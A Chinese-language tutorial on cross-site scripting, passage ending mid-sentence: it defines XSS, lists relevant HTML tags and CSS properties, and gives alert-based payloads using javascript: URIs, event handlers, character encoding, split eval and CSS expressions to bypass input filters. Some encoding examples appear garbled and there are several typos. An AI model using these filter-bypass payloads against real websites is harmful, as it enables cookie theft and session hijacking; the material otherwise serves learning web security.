1.什么是xss跨站脚本
跨站脚本是一种常见出现在web应用程序中的计算机安全漏洞,是由于web应用对用户的输入过滤不足而产生的。攻击者用网站漏洞吧恶意的脚本代码(通常包括HTML代码和客户端javascript脚本)注入到网页中,当其他用户浏览这些网页是,就会执行其中的恶意代码,对受害用户可能采取cookie资料窃取,回鹘劫持,钓鱼欺骗等各种攻击。
2.html常用代码的属性了解
xss发起的基础就是构造有效的代码从而发起攻击,因此有必要对HTML常用的代码属性进行了解。基础不好是很难发现并利用这些漏洞的
a href 超文本链接
base href 为页面上的所有链接规定默认地址或默认目标,<base> 标签必须位于 head 元素内部。
bgsound scr
body
br
embed src
frame src
hr size
img scr
input
isindex
link
select
table
textarea
关于xss问题涉及到的css
import
expression
background-image
3.xss分类
反射型跨站脚本——非持久型,最常见(只在用户单击时触发,而且只执行一次)
持久型跨站脚本——存储型,比反射性威胁大
4.跨站常用方法
(1) 利用html标签属性值执行xss
<table backgrounp="javascript:alert('xss');"></table>
<img src="javascript:alert('xss');">
<a href="javascript:alert(/test/)">xss</a>
(2)空格回车tab
<img src="java script:alert('xss');">
(3)对标签属性值转码
ascii转码:
<img src="javascript:alert(/xxxx/)"> i的ascii编码是i 此方法只能运用在HTML标签中
利用字符编码绕过:
<img src="javascript:alert('xxxx')"> 10进制转义
<img src="javascript:alert('xxxx')"> 16进制转义
(4)产生自己的事件
onclick="alert('xss') //当点击按钮时执行
onmouseover='alert(1)' //在鼠标指针移动到指定的对象上时发生
<img src="#" onerror=alert(/xss/)> //页面发生错误,改事件立即被激活
(5)代码拆分执行
<script>z='javascript:'</script>
<script>z=z+'alert(/xxss/)'</script>
<script>eval(z)</script> //可绕过字符长度限制
(6)利用css跨站
<div style="background-image:url(javascript:alert('sss'))">
<style>body{background-image:url(javascript:alert('saaa'))} ;</style>
<img src="#" style="xss:expression(alert('ssss'))">
(7)js编码以及调用
JS中的编码还原函数最常用的就是String.fromCharCode了,这个函数用于ascii码的还原,一般来说,这个函数都要配合